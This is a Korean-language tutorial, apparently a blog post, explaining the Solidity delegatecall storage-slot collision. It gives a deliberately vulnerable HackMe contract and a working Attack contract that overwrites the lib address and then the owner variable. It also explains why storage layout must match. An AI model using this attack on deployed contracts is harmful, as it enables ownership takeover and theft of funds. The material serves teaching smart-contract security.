아래에 다음과 같은 예시 코드가 있다.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
contract Lib {
uint public someNumber;
function doSomething(uint _num) public {
someNumber = _num;
}
}
contract HackMe {
address public lib;
address public owner;
uint public someNumber;
constructor(address _lib) public {
lib = _lib;
owner = msg.sender;
}
function doSomething(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}
어떻게 하면 HackMe 컨트랙트의 owner 상태변수를 제어할 수 있을까?
먼저, HackMe 컨트랙트는 lib 컨트랙트의 doSomething 을 delegatecall 하고 있다.
그리고 doSomething 은 우리가 제어할 수 없는 부분이기에, 이를 통해 공격하는 것은 불가능해 보인다.
하지만 각 컨트랙트의 첫 번째 상태변수를 확인하면..
Lib => uint public someNumber;
HackMe => address public lib;
HackMe 컨트랙트의 lib 주소 값으로 delegate call 을 하기에,
이것을 바꾸어주면 owner 를 마음대로 제어할 수 있다.
먼저 아래처럼 Attack 컨트랙트를 작성했다.
contract Attack {
/*
상태변수의 slot 수를 맞춰야 함.
bool, uint8 같은 타입은 0번째 슬롯에 빈 자리가 생겨 공격 X.
string, uint, address 는 0번째 슬롯에 여유가 없기에 공격 O.
*/
address public lib; // slot 0
address public owner; // slot 1
uint public someNumber; // slot 2
HackMe public hackme; // slot 3
constructor(address _hackme) {
hackme = HackMe(_hackme);
}
function attack(uint256 _newOwner) public {
hackme.doSomething(uint160(address(this)));
hackme.doSomething(1);
}
function doSomething(uint _newOwner) public {
owner = msg.sender;
}
}
이때, HackMe 컨트랙트의 상태변수를 그대로 가져와서 사용하는 것이 좋다.
그게 아니라면 상태변수 선언을 할 때, 타입을 잘 확인해서 Slot 을 맞춰야 한다.
HackMe 컨트랙트의 Slot 1 에 owner 가 저장되어 있기에, Attack 컨트랙트도 정확히 Slot 1에 owner 가 저장되어야 한다.
bool, uint8 같은 타입은 Slot 0 에 빈자리가 생겨 공격 실패.
string, uint, address 타입은 Slot 0 에 여유가 없어 공격 성공.
그리고 attack 함수에 hackme.doSomething(1);
한줄을 추가해줌으로써 트랜잭션 한번으로 lib, owner 상태변수가 변경되도록 한다.
그림으로 간단하게 로직을 살펴보면,
리믹스를 통해 직접 확인해보면..
lib 주소와 owner 주소 값이 Attack 컨트랙트 주소로 바뀌었다.
Slot 을 맞추지 않고 공격을 시도한다면 어떻게 될까?
Attack 컨트랙트의 첫 번째 상태변수의 타입을 bool
로 바꾸어 공격을 시도해보았다.
결과에서 보듯, Slot 에 두개의 상태변수가 저장되어 lib 주소 값이 정확하게 바뀌지 않아 두번째 delegate call 에는 실패하여 owner 값은 바뀌지 않았다.
delegate call 은 Storage, Ether 를 제어할 권한을 다른 컨트랙트에 넘기는 것임.
반드시 Storage layout(slot, 상태변수) 를 확인하고 이에 맞추어 컨트랙트를 작성해야 함.